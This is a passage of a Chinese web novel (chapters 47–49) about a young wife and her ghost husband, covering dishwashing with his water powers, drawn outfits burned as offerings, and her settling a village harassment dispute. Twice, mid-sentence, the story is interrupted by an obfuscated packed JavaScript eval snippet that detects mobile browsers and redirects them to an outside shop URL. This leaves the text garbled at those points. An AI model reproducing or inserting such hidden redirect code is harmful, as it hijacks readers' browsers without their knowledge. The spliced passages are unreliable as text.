李霖时自己都没察觉到他松了口气,原来二嫂的警惕是怕孩子被过继走。 他知道钟颖不想生,看她平日里和她侄子国强的相处,像对待路边的小动物,感兴趣了就戳戳碰碰,不感兴趣了就扔给红糖,做撒手掌柜。 李霖时有时候都觉得钟颖像是个还没长大的孩子,压根没什么养孩子的想法。 屋子里,聂金凤仍惶惶然,“希望是个女孩,千万别是男孩……” 李荣时上前握住妻子的肩膀,仿佛给她力量一般,又仿佛是在给自己力量,他深吸了一口气,坚定说道,“不管是男孩女孩,都是咱俩的孩子,我是不会让孩子喊别人叫‘娘’的。” 聂金凤抬头看向丈夫,“要是爹娘一定要呢?” “那我也不同意!”李荣时坚持道。 聂金凤颇有些被感动到了,“虽然你兄弟姐妹里属你脑子最笨,既不像你大哥有上进心,又不如你弟聪明,连姐都比你会读书,但现在我觉得你真男人。” 明明是被夸,李荣时却垮下了脸,“哦原来在你心里,我又不如大哥、又不如四弟,连柔妮儿都比我强,我是兄弟姐妹里最孬的那个,真对不住,没让你摊上个好的。” 聂金凤好笑的去哄他,“你别只听得进去半句啊,我不是夸你是个男人吗?” “呵,我以为这点你早就知道,”李荣时拉着她的手,“你摸摸,我不是男人这是什么?” “我说的是这个吗,你别在这儿给我耍流氓……” 李霖时不敢再听了,转身快步离开,先前他犹豫不决,就是担心会听到些哥嫂房里私密事。 —— 钟颖在家里吃过晚饭,不知不觉的天色已经黑沉下来,邓霞和钟春生想要她留下来住家里,她先前的屋子还原模原样空着,只是又担心这样闺女会被婆家埋怨,只能默默的闭口不谈。 “让你爹送送你吧,天这么黑,路上也不好走。”邓霞不舍的说。 钟颖抱住她的肩膀,“好啦,别又难过起来了,在一个生产队里天天低头不见抬头见的,我还会时不时的回家吃饭,早晚有一天你会看我烦的,寻思这闺女怎么又回家蹭吃蹭喝的。” 邓霞怒瞪着闺女,“我才不会这么想!你把你娘想的真坏!” 苗秀云和钟信在一旁看得直偷乐。 一切好似和之前变化不大。 钟春生点了蜡烛,拿在手上给闺女照着路,父女俩前后脚的出了家门。 越走远出去,钟春生心里的热乎劲儿慢慢降下来,虽然女儿的回来让家里的沉寂气氛散去了些,但他想,终究还是有些遗憾的。 “这要是嫁的是寻常男人,这个时候该是他来接你了……”钟老爹叹息。 钟颖看到前面路口那道修长的身影,穿着一身现代服饰,看起来比她更像是异时空来客,笑意无知无觉的盈满她的眼睛,“唔……谁说没来呢?” 钟春生顿时如同炸毛的猫,被唬了一大跳,“他过来了?” 又是指代,“Youknowwho”。 钟颖朝李霖时大步走过去,只回头朝她爹摆了摆手,“爹,你回去吧,不用送我了。” 钟春生看着女儿轻快急切的脚步,突然心中升起一种真实的、女儿已经嫁出去的沧桑感,算了,女婿特殊点就特殊吧。 47. 奇迹霖霖 看着钟颖朝自己快步走来,李霖时的目光追随着她,下意识的张开双臂,想要接住她。 只是钟颖兴奋的冲过来,急切的抢先问道,“怎么样?你猜对了还是我猜对了?” 才变好些的心情瞬间又坠落下去。 钟颖观察着死鬼的脸色,不等他说就知道了答案,“哈!果然是我!姐那两年班不是白上的,识人还是可以的!” 李霖时盯着钟颖的目光强烈得像是蓄势待发冲上去撕咬一般,她总能气到他! 不过第二天履行赌约结果时,李霖时也没抵赖,不就是洗碗,又不是什么重活儿。 对于钟颖来说,洗碗可不是什么轻省活,或者更准确来说,在她之前家里洗碗确实不算什么重活,但到了李家,情况就不一样了。 李家人多啊。 先前家里是钟老爹、她娘、大嫂、国强、信子再加上钟颖,总共六口人;现在到了李家,李明、刘红艳老两口再加上大哥一家五口人、二哥一家三口和钟颖自己,人数几乎翻了一倍,吃饭用的碗也翻了一倍。 碗多到钟颖有时候都恍惚,仿佛自己是来到了什么饭店后厨做洗碗工。 但作为一直以来生活在这个大家庭里的一份子,李霖时显然适应良好,伸手就准备刷碗。 “等一下。”钟颖突然出声,她有个想法。 此时李家中,刘红艳正在屋子里扫地,李明在一旁桌前写写画画,计划着接下来的生产计划;田梅和聂金凤去了河边洗衣服,李钢时出门找人闲聊,李荣时则带着几个孩子去山脚下玩。 院子里只有钟颖和她面前泡了一大盆子的碗,还有个其他人看不见的鬼。 钟颖想要试试,既然死鬼能够控制水,那是不是可以做到本要用电能、机械能控制水才能做到的事情,换句话来说,她想试试能不能把鬼当家电用。 她也是敢想敢做,“未来洗碗这事也能靠机械代替人工了……” 李霖时学的就是机械化制造,理工男一听这些就走不动道,有些好奇,“怎么做到的?” “加压过的水流通过喷淋头的压力喷嘴高速喷出,冲刷到餐具表面,达到清洁的效果。”钟颖把洗碗机的工作原理简单的说了一下,这还是她购置洗碗机时做过的功课,但要让她真的制作出一台同样能洗碗的机器,她还真做不到,毕竟钟颖只是用过洗碗机。 但现在有李霖时在,也许能省去那些弯弯绕绕的电路板和缺一环不可的机械控制,直接达到钟颖想要的水流冲刷清洁的目的。 钟颖期待的看向李霖时,“怎么样?能做到吗?把一股水流分成几股细小的水流,加大水压,快速冲刷干净碗盘。” 是男人就没有说不行的,即使死了也一样,尤其是在钟颖的这种殷切明亮的注视下,李霖时只能默默的按照她说的去做。 要做到钟颖说的那样其实并不容易,像是将一根麻绳拆散成一条条细绳,即使李霖时能控制水流,他也是反复试了好多次,才终于到达她要的那种更精细的控制。 盆子里淹没过碗盘的水流仿佛暗流涌动一般,如果有另外的人在此刻看到这场景,恐怕会惊吓的瞪大眼睛。 钟颖看着无形的水流来回冲刷,等一切归于平静,用过的水被李霖时引出倒在旁边的另一个小号的盆子里,农村人家这种带着食物残渣的洗碗水都是不舍得倒掉的,会拿来喂鸡。 钟颖迫不及待的从盆子里拿出一个碗,成了! “太好了,以后我不用再自己用丝瓜络洗碗了!”钟颖激动的说。 “以后?”李霖时皱眉。 钟颖目光灼灼的望着他,仿佛在看什么宝贝,双手合十作祈求状,“求求你了~” 李霖时不自在的视线躲闪,“行、行吧。” —— “我不穿这条裤子,我要穿灰色那条!” 六岁稚童拔高的声音尖利,穿透院墙。 钟颖被“耀祖”吵醒了,很难再重新睡着,只能坐起身来,将枕头立起放在身后,依靠在床头。 她并不着急起床,和李家人生活了大半个月,钟颖找到了些相处之道,做饭这事轮不到她,她早过去也只是尬聊,不如晚到些。 要是在现代,从醒来到真正起床这段赖床的时间是属于手机的,但在当下,钟颖只探出身子,伸手拿过放在床边木箱子上的本子和笔。 玩不了手机,只能玩“奇迹霖霖”了。 钟颖寥寥几笔就在纸上画出了男鬼的模样,动作娴熟,可见已经画过多少次。 笔尖向下,勾勒出衣服线条。 钟颖画完一张,翻过一页,又继续画新的,就这样一口气画了三张纸。 她这才停下笔,把三页纸一起撕下,然后掀开被子下床,趿拉着鞋走去堂屋。 堂屋桌上的火柴盒被人拿起,钟颖用手指推出内里的小纸盒,喃喃自语,“就剩两根了啊……” 她毫不吝啬的取出其中一根火柴棍,点燃了牌位前的半截蜡烛。 “下次逢集,火柴要买、蜡烛也要买……”钟颖默默盘算着。 玩游戏哪有不花钱的,钟颖不心疼这钱,比起动辄128、648的氪金充值,火柴和蜡烛要花费的钱真心算不了什么,几分钱就能玩的换装游戏,简直不要太良心。 钟颖在三张纸之间看了看,挑出其中一张先烧尽。 在最后几秒钟的平静中,钟颖突然感同身受,明白了小时候为什么那些男孩子总喜欢“犯贱”,生活太平淡无波,人就会想要找点刺激。 不等钟颖在心中默数,她想要的“刺激”就来了。 夯土地面上突然阴湿一片,接着水痕凝聚—— “钟颖!你又!” 愤怒的声音和修长的身影一起出现。 钟颖看清李霖时的瞬间,眼前一亮。 从二维平面到三维立体,呈现出的效果比她预想的还要好。 宽肩、窄腰、长腿,缺一都撑不起来这一身笔挺的黑色西装,他苍白的肤色仿佛锦上添花,与骨相的俊美相得益彰,如果他再能勾下唇角、放下捂在胸口的手,分分钟能卖出一座香槟塔。 是的,钟颖画的是非常正经的西装,但不怎么正经的只有西装,里面没有别的衣服了。 李霖时满脸愤怒,是一种近乎恼羞成怒的愤怒,“你!你看这都是什么衣服?!” “我看看啊。”钟颖探头,试图看到点什么,但李霖时捂得太严实了,她只能看到个锁骨,锁骨以下仿佛付费内容,被挡得严严实实。 钟颖睁着眼说瞎话,“这不就是西装嘛。” 真空西装怎么不算西装呢。 李霖时沉着脸,咬牙切齿,“给我换一身。” 钟颖只好妥协,“行,我给你换身哪儿都不露的衣服。” 桌上两张纸二选一,钟颖拿起一张悬在烛火中点燃,她转过身来,李霖时身上已经换了一身新的装扮。 确实哪儿都没露了,但是吧…… 非常紧身的黑色高领针织衫仿佛一层皮肤衣,将身体的轮廓原原本本的展现出来,比欲盖弥彰的半透白衬衫还要清晰,不愧是网络票选男人能穿的最□□的衣服top1,第二名是灰卫裤。 钟颖都想吹流氓哨了,到底是工科男、农家子,这死鬼身材真好,瘦而不柴,三角肌、胸大肌、肱二头肌、腹直肌……比她学画画时临摹过的《伯里曼人体结构图》还要漂亮,钟颖一直觉得书中西方男人的身体肌肉太大块了一些。 李霖时一开始没察觉出不对,毕竟衣服将他身上皮肤都遮住了,不再是露出一个几乎要开到肚脐眼的深V,直到钟颖用炙热的目光盯着他,甚至提出让他转个身的要求…… “钟、颖!”李霖时面色铁青。 本来还想看看背肌的,钟颖心里遗憾,但还是很干脆的放弃了,毕竟男鬼保守,再“玩”下去就要把鬼惹毛了,“好好好,我不玩你了,这次真的给你换身正常衣服。” 说着,钟颖就打算把桌上最后一张纸放到烛火上。 但经过这两遭的李霖时对她已经没有任何信任,眨眼间骤然冲过来,想要抢夺钟颖手里的那张纸,谁知道她又画了什么更加露骨的衣服,他不想再被戏耍了。 钟颖一时不察,被迫向后踉跄几步,直到后腰抵住桌沿才停住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644413|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 时间仿佛在这一刻凝滞,周遭的空气都变得有几分不同。 钟颖清晰的感受到扑面而来的凛冽凉意。 温热的鼻息如羽毛般拂过李霖时的皮肤。 仿佛咫尺之间,也可以说是亲密无间,桌子拦住退路,即使钟颖不自在的往后仰身,腰腹仍然是紧贴着。 手指无意识的用力,在纸面上留下抓皱的痕迹。 钟颖眨了眨眼,举起手上的纸,咽了下口水,干巴巴地说,“真的是正常衣服了……” 李霖时的目光这才挪开,落到她手里的纸上。 不再是“奇装异服”,和生产队大多数男人穿的衣服一样,普普通通的灰色布褂、黑色长裤。 李霖时后退一大步。 钟颖把手里的纸烧掉,看着换回一身正常衣服的李霖时干笑两声,“哈哈,时间不早了,我要赶紧收拾一下去隔壁吃饭了。” 她几乎逃一般离开尴尬氛围的堂屋,回睡觉的屋子换衣服、再刷牙洗脸。 脸颊上还带着些许井水的湿意,钟颖带着大黑狗去了隔壁房子。 “红糖,来,你的饭我已经给你分出来了。”刘红艳站在李家院子里招呼道。 李家并不养狗,一是因为家里人多、二是也没有人敢偷摸闯进生产队队长的家。 钟颖嫁过来没几天,刘红艳知道她要了剩饭拿回去喂狗后,便让钟颖往后过来吃饭时把狗一起带来。 刘红艳很是稀罕的摸了摸红糖的黑脑袋,“看着真精神,哪里像是十二年的老狗。” 这时候人们养狗大多都是为了看门护院,养得并不精细,活过十年的都算是非常长寿了,像红糖这样已经十二岁却丝毫没有老狗的疲态、仍精神奕奕,显然还能再活好几年。 刘红艳今年五十二岁了,在这个人们普遍在六、七十岁寿终正寝的年代,她这个年纪已经算是步入晚年,心理上多少会更偏好“长寿”二字,例如逢年过节做的寿桃馍、被面上的松树仙鹤,还有十二岁的红糖。 钟颖放心的将狗交给刘红艳,自己撸了袖子,“娘,还有什么活儿没干?我去喂鸡?” “鸡已经喂过了,你去给秀云、秀晴梳头发吧。”刘红艳说。 钟颖应了声,招呼披散着头发的两个小姑娘搬着小板凳来找她。 李秀云让妹妹先坐到小婶面前,她则站在一旁帮忙递头绳。 钟颖一边梳着小姑娘柔软纤细的发丝,一边出神的想着方才清晨发生的事,一幕幕,仿佛电影回放般在她脑海中重现。 发丝分成三股,左右压叠的机械性重复动作让钟颖紊乱的心绪渐渐恢复平静。 钟颖拍了拍小秀晴的肩膀,“梳好啦。” 才四岁的李秀晴站起来,蹦蹦跳跳的去屋里照镜子。 李秀云腼腆的坐到方才妹妹坐过的凳子上,小手握拳端端正正的放在腿上。 钟颖笑笑,和她说着闲话,“秀云的头发比妹妹长不少啊。” 李秀云侧头去看漂亮婶婶,有些不好意思,“我一直留着呢,没剪过,攒长了可以卖钱,我想要买糖吃。” 农闲时偶尔会有货郎挑着扁担在各个生产队间游走,一肩一个的大苗篮里一个放乱七八糟的杂物,一个放的是自制的饴糖饼。 “每次娘买了都是掰给弟弟一大块,我和妹妹只有一小块糖渣。”也许是面前的大人态度和善,李秀云忍不住多说了两句心里话,小声道,“等我卖了头发换了钱,就买两个饴糖饼,我和妹妹各一块。” 说完,李秀云又忍不住低下头去,有些害怕会被苛责训斥,她是姐姐,实在是不应该有这样自私的想法,就像爹从来说的那样,当姐姐的要把好东西都留给弟弟才行。 落在她头上的却是轻柔的抚摸。 “想要什么又不可耻,低头干嘛。”钟颖揉了揉小姑娘的脑袋。 李秀云立刻抬起头来,双眸亮晶晶的看向还不算很熟悉的小婶婶,又重重的点了下头。 钟颖也心中一片坦荡,就像她说的,想要什么又不可耻。 不就是从想要玩“奇迹霖霖”,变成了想要玩“霖霖”。 48. 打蛇上棍 钟颖并不会羞于承认自己的欲望,作为一个正常的二十多岁的异性恋年轻女性,在加班累得想死的时候,她也很想回到家枕着男人的腹肌“充个电”,但一想到这种“充电”可能要支付的“谈婚论嫁”、“生儿育女”……她就一下子“萎了”。 有时候钟颖自省,也许她本质上其实就是个只想享乐、不想负责的渣女。 而现在,有一个长相在她的喜好上、身材在她审美点上的男鬼整天在钟颖面前晃,就像一盘看得见、闻得着味秀色可餐的菜,钟颖想,她馋一下不是很正常? 钟颖理不直气也壮,她现在也不过是个二十一岁的年轻女孩,想玩男人怎么了? 女性总是羞于和“性”挂钩,好似这种东西只能被男权享受。 钟颖心不在焉的吃着饭,回想着穿着黑色紧身上衣、黑色长裤的李霖时的模样,又心痒痒的还想招惹他,曾经给乙游画过的各种立绘在她脑海中一张张闪过,很想在李霖时身上再实践一下…… 饭桌的另一边,李明正和长子李钢时说着话,虽然大家长主张读书万事高,但家里并没有“食不言寝不语”的规矩,也不会封建落后的主张什么“女人不能上桌”。 李明和刘红艳两口子喜欢一大家子热热闹闹的样子,就算是二儿子分家单过仍会在饭点带着媳妇孩子回来吃饭,大人、小孩们围坐在饭桌旁,你一言我一语的说说当天发生的事,与热腾腾的饭菜一同构成平淡生活中的小幸福。 只是当男人们说起正经事的时候,女人们大多都会保持沉默,缄口不言,各自低头照看自己孩子们吃饭。 现在李明说的就是正经事,“……听说是因为去年年底报纸上介绍了别的公社实行合作医疗制度的做法,作为成功案例被推广到全国,这不咱们公社也要学习,准备建立合作医疗培训班,让每个生产队推选人员去公社卫生院学习,只要愿意去都鼓励去学一下,你等着和金龙说一声,我准备把他名字报上去,让他在培训班里好好学。” 李钢时高兴的点点头,“行,我等会儿到地里就找他说去,他跟着他媳妇学的那半吊子本事是要再好好学学了。” 钟颖心思飘到死鬼身上,但耳朵还在场,听到了爷俩的谈话,她抬眸,忍不住奇怪的问了一句,“聂大嫂子不去吗?” 同甘生产队里无人不知,聂金龙是众人口里夸赞的“娶了个好媳妇”的典型例子,他娘胡打听专职做媒,给儿子更是说了一门好亲,姚东秀不仅是盘坡口这个富大队的人、家里还有祖传医术,就算她是个姑娘家也会点,聂金龙全靠他这个媳妇“师父领进门”才成了同甘生产队的卫生员。 在钟颖看来,这也是非常典型的通过女方学到本事、有了资源后发展自己的软饭男例子,所以她才忍不住多问了一句。 想起前些日子范大妮的生产,钟颖说,“要是能有女赤脚医生,往后生产队女人们生孩子也会更有保障些吧。” 闻言,还隐瞒着怀孕喜讯的聂金凤、李荣时两口子忍不住对视一眼。 李钢时脸上流露出惊讶神色,显然没想到钟颖会在这时候突然发声,也没想到她会问这种问题,他反应过来,只是笑笑,“女人家的还是在家带孩子吧,哪里分得出身去学习。” 言语间多少带出了一些高高在上的蔑视。 钟颖隔着饭桌看他一眼,同父同母的亲兄弟,李钢时的五官有七八分相似,脸上总是带着些笑意,而钟颖都没见李霖时笑过,那死鬼整天要么面无表情、要么耷拉着张脸,可她偏偏觉得还是李霖时更顺眼些。 有什么样的儿子就有什么样的爹,尽管李霖时没有和钟颖讲过他大哥背后的那一面,她也能大概看出来些,李钢时和他儿子李光宗差不多,大号“耀祖”一个。 不等钟颖再说什么,门外传来一阵吵闹的喧嚣声。 “李队长!我们知青是下乡来支援建设的,不是过来受人欺负的!” 随着话音,一个戴着眼镜的男青年就直直闯了进来,又被大黑狗凶狠的吠叫吓得止步院中。 一家子人纷纷放下手里的饭碗出了屋子,钟颖招手让红糖过来她身边,别再朝着人叫了。 见到李明,仇玉才又梗起脖子,气鼓鼓地说,“李队长,这事你必须要管管,刘家那小无赖大清早的跑去我们知青点纠缠陈知青,说那些混账话,这让好好一个姑娘家怎么做人!” 听到动静的邻里人家悄悄聚拢到门外,彼此对视一眼,嚯,生产队这是又出热闹了? 李明听着这一句接一句的指控,面色一沉,知青和当地民众之间的关系确实是个需要小心对待的问题,他知道有很多队员背地里其实多少有点不满,觉得几个知青下乡来既没有发光发热,反而表现得劳作生疏、干活速度慢,但至少这些矛盾没有摆到明面上。 可现在矛盾摆到了他面前。 李明沉吟不语,片刻后目光向后一瞥,开口道,“颖妮儿,你去调节一下。” 钟颖惊讶,就像是上大课时突然被老师点名安排任务,她忍不住抬手指向自己,反问了一句,“我吗?我去合适吗?” 李明有意想借此机会试炼她一番,点了下头,“惹事的肯定是丰收那小子,你是他四表嫂,教育他两句怎么不合适?” 钟颖被“四表嫂”三个字雷得不行,她现在算已婚妇女了,看来是比未出嫁姑娘家多了些话语权。 “爹,”李钢时出声,将众人的目光全部拉到自己身上,一派体贴大哥的模样,“要不还是我去吧,丰收那小子也没什么坏心眼,年龄又还小,陈知青比他大个三、四岁,我看她平时和男人说话就黏黏糊糊的……” 钟颖忍不住睨“大耀祖”一眼,果然是讨人厌啊,什么情况都不明了,□□羞辱就先来了。 “我去。”钟颖并不爱多管闲事,但还是站了出来。 仇玉才看了看钟颖,又看向李明,目光迟疑。 李明只沉稳的颔首,“放心,我这小儿媳能处理好的。” 仇玉才只能半信半疑的带着钟颖往知青点走,他对身后的女青年的印象还停留在过去她对程彬的几次若有若无的示好、是生产队里名声并不算多么好的泼辣姑娘,他把人带过去,她真的不会偏帮偏信同村人、联手欺负陈丽娜吗? 这种深深的怀疑在片刻后却烟消云散。 事情的发展超出了仇玉才的想象,也超出了所有跟来看热闹的人们的设想。 同甘生产队发展一般,地理位置又偏远,这么些年也是有人为了更好的生活投奔富大队的,知青点就是在这样一个规整过的废弃房屋。 钟颖走过来时,刘丰收正背对着门口站在院子里说话,一男一女两个知青呈保护状护着躲在身后的另一名女知青。 “怎么拉下手就翻脸了?我都帮你干那么些日子的活儿了,就算现在叫我娘让媒人过来提亲都是合情合理的。”刘丰收浑不吝的说道。 程彬站在最前面,和他对峙道,“你动手动脚就是不对!” 一旁的杨美娟也厉声喝道,“什么合情合理,从没听说过帮个忙就要以身相许的!” “合我同甘生产队的情,合我同甘生产队的理……” 听到刘丰收仿佛土霸王的话,钟颖忍无可忍的直接抬脚,对着他屁股一脚踹了过去,这混蛋玩意可闭嘴吧,别在这里胡咧咧败坏他们同甘生产队的名声了,不知道的还以为穷山出刁民呢。 刘丰收根本没防备,一下子向前扑倒,整个人跪倒在地,给面前的三个知青来了个过年时的最高拜年礼节。 周围一下子寂静了。 仇玉才震惊的睁大了眼睛。 直面刚刚所发生一切的三个知青也纷纷愣住了。 来看热闹的人们不自觉的屏息。 李霖时混迹在人群中,他看着眼前屁股挨了一脚、扑倒在地的表弟刘丰收,又想起之前两腿之间正面挨了一脚的表哥刘福顺,他突然心气就平了,虽然钟颖总戏耍他,但她从来没这样对他动手动脚过。 所有人都像是凝固住一般,只有钟颖是动的,她收回了脚。 不得不说体力劳动确实锻炼人,钟颖心想,她感觉自己使出的力气变大了不少。 刘丰收从社死的状态中回过神来,一下子从脖子涨红到头顶,狼狈的爬起身后怒瞪着钟颖,也不像平时嬉皮笑脸的叫姐了,只咬牙切齿的喊她大名,“钟颖!你来多管什么闲事啊?!” 钟颖下巴微抬,望着他,只淡淡地说,“叫四表嫂,没大没小的。” 刘丰收一噎。 “李队长,你大姨夫,把这事交给我来处理,说说吧,是怎么个情况。”钟颖说。 刘丰收嘀咕,“那怎么不是大表哥过来,是你过来了……” 钟颖平静的睨他一眼,“哦,你大表哥管就行,我就管不得?” 刘丰收眼力劲儿还是有的,立刻能屈能伸的改口,“四表嫂,你也管得,再怎么说我也比你小嘛。” 听到两人这沾亲带故的称呼,一旁几个知青不免眼中暗藏警惕。 钟颖抬手,示意两个当事人说说情况。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648613|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“在地里干活时,我是请这位刘同志帮过我几回,我道谢过了,这是寻常的帮助……”陈丽娜蹙着纤细的眉轻轻说道。 “男人帮女人还能是啥想法?我要是不想让你当我媳妇,我才不多出那个力呢!”刘丰收眉飞色舞,像个不良青年一般。 钟颖来当判官,她先是看了陈丽娜一眼,虽然并不赞同这名女知青的行事方式,但钟颖并不想苛责什么。 这世上的万物各有各自的生存方式,女子也是一样,有像她娘邓霞那样泼辣到不好惹的,也有像李霖时他娘刘红艳那样非常传统温驯的,就算是知青点唯二的两名女知青也各有不同,杨美娟固执笨拙但仍坚持努力干活、陈丽娜则像菟丝子一样想要借男人的力…… 每个人有每个人的活法,没有谁比谁高尚。 钟颖只努力站在公平公正、就事论事的角度来处理,问了几个问题,“具体帮了几回忙?”、“都做了什么事?”,然后她心里就有数了。 “刘丰收毕竟是真的帮了忙……” 钟颖前半句话刚说出口,刘丰收面色一喜、陈丽娜的脸却白了,其他几个知青顿时就要开口。 “那你就给他五斤粮票作为谢礼好了。”钟颖把后半句话说完。 所有人又一齐傻了眼。 钟颖看他们都愣住,不由得又想了一下,“多了还是少了?这个数可以再商量。” 当然是少了!五斤粮食算什么,刘丰收想要的是媳妇! 刘丰收立刻嚷嚷开了,“我帮她干活儿图的又不是粮票,不行,她必须嫁给我做我媳妇!” 陈丽娜回过神来,立刻连连点头,“粮票我有的,我马上回屋拿!五斤不多,不多,应该的!” 她忙不迭的往屋子里跑,仿佛跑慢了就要被抓去嫁人一般。 刘丰收还想冲过去抓她,被钟颖拦住了。 “见好就收,”钟颖说,“你帮人干的那点活儿零零碎碎加起来也用不了一天的功夫,我按一天干满十个工分算的五斤粮食,已经是偏帮你了。” 周围看热闹的人们原本还在心里嘀咕钟颖怎么帮着外人,听她这么一说,又觉得算起来还是刘丰收这小子占了便宜。 刘丰收气急,这算哪门子偏帮! “钟颖,你要真帮我,就该让陈知青嫁给我!”刘丰收跺脚。 刘丰收他三哥和钟妮的婚事定了后,接下来就轮到他这个排行第四的了,想来想去,他这人从小到大都不争气,就想在娶媳妇上争气一回,有什么比娶个读过书的文化人更争气的呢?刘丰收想娶个知青媳妇! 钟颖的脚蠢蠢欲动,好歹强忍下来,她不能动不动就动手,太像暴力狂了。 “你……”她又想骂人,嘴皮子上下动了动,仿佛炒了一盘子菜,最后还是把脏话咽了下去,最后钟颖只忍耐的说了一句,“人知青下乡不是来给你做媳妇的,你想都别想,你配吗?” 刘丰收感觉自己的自尊被踩到地上,气得抬起手来,“钟颖,小时候是我让着你,你是不是真以为我拿你没辙了——” 钟颖想起面前刘丰收还有个家暴前科的大哥,立刻想要向后退一步,却看到他身后突然出现一道修长的身影,她瞬间又停住了。 “你想打我?”打蛇上棍仿佛被动技能一般,钟颖有恃无恐,露出三分轻蔑三分讥笑四分漫不经心的浅笑,“你猜是你的巴掌先落下来,还是你四表哥先来找你?” 是人对死去的人都会有些敬畏惧怕,刘丰收也不例外,虽然知道钟颖就是在吓唬他,但他还是感觉后脖颈发凉,手掌就这样僵硬的悬在了半空。 “刘丰收!” 一声厉喝,邓霞从人群中挤过来,“你今天敢碰我闺女一下,老娘扇肿你的脸!!” 刘丰收咽了下唾沫,就势当作台阶下了,“婶子,我哪儿敢啊……” 他最后拿着一张粮票溜了,邓霞拽着闺女胳膊跟着四散的人群离开知青点,只是脸色仍不太好,“你公爹让你管这事干嘛,丰收那小子到底是个青壮年,我要不是听信赶过来了,他要真动手打你可怎么办!” “那我还能乖乖站着让他打啊,而且……”钟颖看了一眼避开人流站在树荫下的身影,就冲李霖时闪现之快,她也觉得那巴掌落不到自己身上。 钟颖突然觉得良心有点痛。 鬼是好鬼。 而她又占了他的房子、票子,现在还馋他的身子。 钟颖叹了口气,又深深的看了李霖时一眼,算了,她果然还没坏到极致,还是不祸祸鬼了。 49. 社员开会 之后的几个礼拜,钟颖又被“安排”了几次,不过都是些零零碎碎的小事,赖混子偷拿胡打听家自留地的菜、聂英和她家那口子又吵起来了之类的……钟颖也没多想,李明叫她去她就去,她算看明白了,这个世界就是只有“girlshelpgirls”。 四五十岁的婆子还能叫“girl”吗?男人都能至死是少年,怎么不算呢。 李明有意考察和锻炼钟颖,这些向来令他头痛的家长里短到了他这个小儿媳手上,桩桩件件处理得漂亮,简直是妇女队长的最好人选。 就是有一点令他有些耿耿于怀。 李明让钟颖去处理,她也不多推脱,让她去就去了,但他要是不说,钟颖也不会争着抢着主动请缨,就……跟那磨盘推豆腐似的,推一下才动一动。 活了五十四年,李明吃了那么多年的盐,识人的本事还是有的。 例如他的几个孩子,老大上进心有,想要的太多,但本事只能算平平; 老二本事没有,上进心也没有,倒是也能自得其乐,满足于过他那媳妇孩子热炕头的小日子; 一胎同生的柔妮儿比她二哥聪明些,只是和她娘一样的软和脾气; 小儿子倒是能力有、人也上进,能咬着牙坚持把书读下来,就为了学了本事建设生产队,可惜…… 李明想到这儿,忍不住沉沉叹了口气。 对于钟颖,他多少是有些移情,所以才会怒其不争。 李明头疼,这丫头怎么就明明有能力、但这么没上进心呢?她就没想过当个村官、为人民发光发热一下吗? 钟·咸鱼·颖没想过,她在洗碗,或者说得更准确些,钟颖是在表演洗碗。 从钟颖的背影来看,她的两个胳膊就没停下来,一副勤勤恳恳的样子,但如果有人转到正面,就会发现她其实只是在做样子。 古有滥竽充数,今有钟颖摸鱼。 水流在碗筷间涌动冲刷,全靠李霖时控制,而钟颖只不过是像现代用洗碗机里那样,把洗好的碗筷拿出来放到另一边的盆子里。 钟颖乐得清闲,背着人和李霖时配合默契,一个洗一个接。 【“男人帮女人还能是啥想法?我要是不想让你当我媳妇,我才不多出那个力呢!”】 刘丰收说过的话在钟颖脑海中响起,她不由得动作一滞,眼睫微抬,看向面前的死鬼。 先前赌约下注的不过是洗一次碗,但现在这活儿基本上都是李霖时在帮钟颖干。 钟颖看着李霖时神情专注的脸,他不会也…… 不过很快钟颖就打消了这个念头,不对,不一样,刘丰收是想要娶陈知青,但她和李霖时之间,她才是“强取豪夺”的那个。 果然还是单纯是李霖时鬼好吧。 钟颖在心里默默给他又发了一遍“好鬼卡”。 只是就像陈丽娜付出的那张粮票,靠人帮忙的偷懒终归不是长远之计,鬼又不能给她当一辈子的洗碗机,钟颖叹了口气,把手伸进水里,“还是我自己来吧。” 盆里涌动的水流戛然而止,李霖时被打断,惊诧的抬头看向钟颖。 钟颖却没再看他,只埋头干起活来。 李霖时忍不住看了她一眼又一眼。 怎么回事?怎么突然就不用他了? 李霖时记忆中,他爹惹了他娘生气,他娘也会这样,把活儿全揽到自己身上,让他爹爱上哪儿凉快上哪儿凉快去。 可他做错了什么? 李霖时不禁默默回想着自己这些日子的行为…… “钟颖——有你的信!”一身墨绿色制服、背着斜挎包的男人站在李家门外扬声喊道。 钟颖连忙舀了一勺清水冲了下手,一边站起身来一边随手往身上抹了抹水渍,走到门口接过邮递员递过来的信封,扫了一眼上面的字,是她哥钟诚寄给她的。 眼前这名中年男人姓赵,十多年前被选拔为这片山区的邮递员,周围几个生产队的信件都是他在送。 “我知道你找婆家了,所以就直接找这里来了,”赵邮递员消息还挺灵通,“倒是省得我往村子里多走些路了。” 钟颖道了声谢,回道,“那确实是,住村口是方便了些。” 邮递员送完信就离开了。 钟颖用手指捻了一下信封,估摸了下厚度,里面八成有好几张纸,她也就没着急看,只是随手收到了衣服口袋中。 这日上工后李明倒是没立刻组织生产队众人劳作,而是把全队贫下中农成年人都聚集到打麦场的空地上。 “今天在干活前,大家先一块儿开个会。”李明站在最前头,声如洪钟,“都知道的,每年四月份的这个时候,咱们生产队上都要重新选举一次,过去一年干得不好的、不得民心的,那就撸下去,干得好的那就继续连任,想要为大家伙儿出一份力的也可以参与竞选……” 